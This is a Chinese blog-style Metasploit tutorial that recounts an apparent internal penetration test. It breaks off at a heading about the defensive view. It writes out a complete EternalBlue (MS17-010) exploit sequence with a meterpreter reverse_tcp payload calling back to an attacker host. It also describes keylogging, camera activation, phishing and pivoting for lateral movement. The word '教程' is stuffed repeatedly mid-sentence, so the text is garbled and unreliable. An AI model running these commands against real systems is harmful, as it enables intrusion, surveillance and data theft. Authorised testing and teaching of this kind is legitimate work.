Metasploit教程：从一次真实渗透测试说起

上周帮朋友公司做内部安全审计，教程对方网络管理员信誓旦旦说补丁打得很勤。教程我随手用Metasploit扫了个MS17-010漏洞，教程三分钟拿下域控权限。教程他脸色不太好看，教程但这就是教程现实——工具本身不分善恶，关键看谁在用。教程

先搞懂它是教程什么

Metasploit本质上是个漏洞利用框架，把渗透测试常用的教程exploit、payload、教程编码器打包成模块化工具。教程你不需要从零写攻击代码，教程但要会用它的教程逻辑：选一个漏洞模块，配置目标地址，教程设置payload（就是教程攻击成功后想执行的代码），然后run。命令行界面看着吓人，其实常用命令不超过十个。search找模块，use加载模块，show options看配置项，set设置参数，exploit执行攻击。就这么简单。

第一个实战案例：永恒之蓝

拿经典的MS17-010举例。这个漏洞当年让WannaCry勒索病毒肆虐全球，现在很多内网机器依然没打补丁。

msf6 > search ms17-010 msf6 > use exploit/windows/smb/ms17_010_eternalblue msf6 > set RHOSTS 192.168.1.105 msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 > set LHOST 192.168.1.100 msf6 > exploit

看到meterpreter提示符出现时，你就获得了一个交互式shell。可以上传文件、截屏、抓键盘记录，甚至激活摄像头。那次测试里，我在对方财务电脑上放了个txt文件，写着"你已被入侵"，第二天他们IT部才反应过来。

别只会用现成模块

真正的功力在于组合运用。比如用auxiliary/scanner/portscan/tcp做端口扫描，配合nmap脚本识别服务版本，再决定用哪个exploit。有次遇到一台开了3389的Windows Server 2003，网上现成模块全失效，最后用post/multi/manage/shell_to_meterpreter配合社会工程学钓鱼邮件才进去。工具是死的，思路是活的。

内网渗透的跳板技巧

拿到第一台机器后，Metasploit的route命令能添加路由，让你通过这台机器访问内网其他网段。配合portfwd做端口转发，就能逐步横向移动。记得有次目标在内网/24网段，我通过一台跳板机，用auxiliary/scanner/smb/smb_version扫出了十几台存在漏洞的老机器。那种感觉像开了地图透视——整个网络拓扑在你面前摊开。

防御视角同样重要